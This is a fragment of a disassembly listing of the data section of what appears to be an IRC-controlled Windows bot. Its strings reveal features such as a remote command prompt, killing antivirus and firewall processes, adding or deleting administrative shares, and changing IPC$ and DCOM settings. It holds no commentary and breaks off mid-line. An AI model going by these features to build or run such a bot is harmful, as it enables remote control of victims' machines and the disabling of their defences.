DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 10h dword_439D30 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439D5C db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_439D84 dd 7530h ; DATA XREF: sub_419A00+12r off_439D88 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_439E90 dd offset dword_439E84 dd offset dword_439E78 dd offset dword_439E6C dd offset dword_439E60 dd offset dword_439E54 dd offset dword_439E44 dd offset dword_439E38 dd offset dword_439E2C dd offset dword_439E20 dd offset dword_439E14 dd offset dword_439E04 dd offset dword_439DF8 dd offset dword_439DE8 dword_439DE8 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; .packed:00439DE4o dword_439DF8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: .packed:00439DE0o dword_439E04 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: .packed:00439DDCo dword_439E14 dd 65746172h, 6578652Eh, 0 ; DATA XREF: .packed:00439DD8o dword_439E20 dd 74617373h, 78652E65h, 65h ; DATA XREF: .packed:00439DD4o dword_439E2C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: .packed:00439DD0o dword_439E38 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: .packed:00439DCCo dword_439E44 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: .packed:00439DC8o dword_439E54 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: .packed:00439DC4o dword_439E60 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: .packed:00439DC0o dword_439E6C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: .packed:00439DBCo dword_439E78 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: .packed:00439DB8o dword_439E84 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: .packed:00439DB4o dword_439E90 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: .packed:00439DB0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:00439DACo align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:00439DA8o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .packed:00439DA4o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .packed:00439DA0o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .packed:00439D9Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .packed:00439D98o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .packed:00439D94o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .packed:00439D90o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .packed:00439D8Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .packed:off_439D88o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 10h unk_439F40 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439F64 db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_439F88 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439FB8 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439FE8 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A040 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A074 db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A098 dd offset dword_43A0D0 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 10h dd offset dword_43A0C8 align 8 off_43A0A8 dd offset dword_43A0C4 ; DATA XREF: sub_41A19D+1E3o dd offset dword_43A0C0 dd offset dword_43A0BC dd offset dword_43A0B8 dword_43A0B8 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; .packed:0043A0B4o dword_43A0BC dd 2444h ; DATA XREF: .packed:0043A0B0o dword_43A0C0 dd 5C3A43h ; DATA XREF: .packed:0043A0ACo dword_43A0C4 dd 2443h ; DATA XREF: .packed:off_43A0A8o dword_43A0C8 dd 494D4441h, 244Eh ; DATA XREF: .packed:0043A0A0o dword_43A0D0 dd 24435049h, 0 ; DATA XREF: .packed:off_43A098o dword_43A0D8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A108 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A130 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A15C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A180 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A1AC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A1D0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A200 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A23C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A270 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 10h dword_43A2C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A2F0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_43A310 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 10h dword_43A340 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_43A370 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A398 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A3B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A3F4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A42C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A46C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_43A488 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A4E0 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A6F8 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A7D4 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 4 aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo dword_43A800 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A844 dd offset loc_412F4D+1 ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A848 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A84C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A854 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A864 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A894 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A8C0 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A8DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A918 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A934 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A940 dd 85A91BD8h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A950 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A95C dd offset sub_41C748 ; DATA XREF: sub_41B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A968 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A96C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A980 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A984 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A990 dd offset off_43A990 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A994 dd offset off_43A990 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A9A8 dd offset dword_43A9A8 dword_43A9A0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A9A8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .packed:0043A998o ; .packed:0043A99Co off_43C9B0 dd offset off_43A990 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C9B4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C9B8 dd offset word_43C9C2 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C9BC dd offset word_43C9C2 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C9C2 dw 20h ; DATA XREF: sub_424D47+18r ; .packed:off_43C9B8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43CBC4 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43CBC8 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43CBD0 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43CBD4 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43CBD8 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43CBE0 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43CBE4 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43CBF0 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43CCD0 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43CCD4 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43CE38 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43CE40 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43CE48 dd 14h ; DATA XREF: sub_421624+2o off_43CE4C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C930h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43CF20 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43CF30 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43CF48 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43CF54 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43CF60 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43CF64 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43CF68 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43CF6C dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43CF70 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43CF74 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43CF84 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43CF88 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43CF8C dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D000 dd 3 ; DATA XREF: sub_422CEE+58r ; sub_425955+C8r dword_43D004 dd 7 ; DATA XREF: sub_422CEE+5Er ; sub_425955+CDr dword_43D008 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43D00C dd 8Ch ; DATA XREF: sub_422CEE+82r ; sub_422CEE+8Fw ... dword_43D010 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43D018 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43D01C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EE4h dd 0FFh, 427960h off_43D0A8 dd offset dword_4DBC60 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DBC60 dd 101h dword_43D0B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43D0C8 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D0E8 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D118 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43D328 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43D330 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43D338 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43D350 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43D368 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43D36C dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43D370 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... dword_43D374 dd 545350h, 0Fh dup(0) ; DATA XREF: .packed:off_43D3F4o dword_43D3B4 dd 544450h, 0Fh dup(0) ; DATA XREF: .packed:off_43D3F8o off_43D3F4 dd offset dword_43D374 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43D3F8 dd offset dword_43D3B4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43D400 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43D404 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43D408 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43D410 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43D414 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43D418 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43D41C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43D44C dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43D450 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43D488 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D5E8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 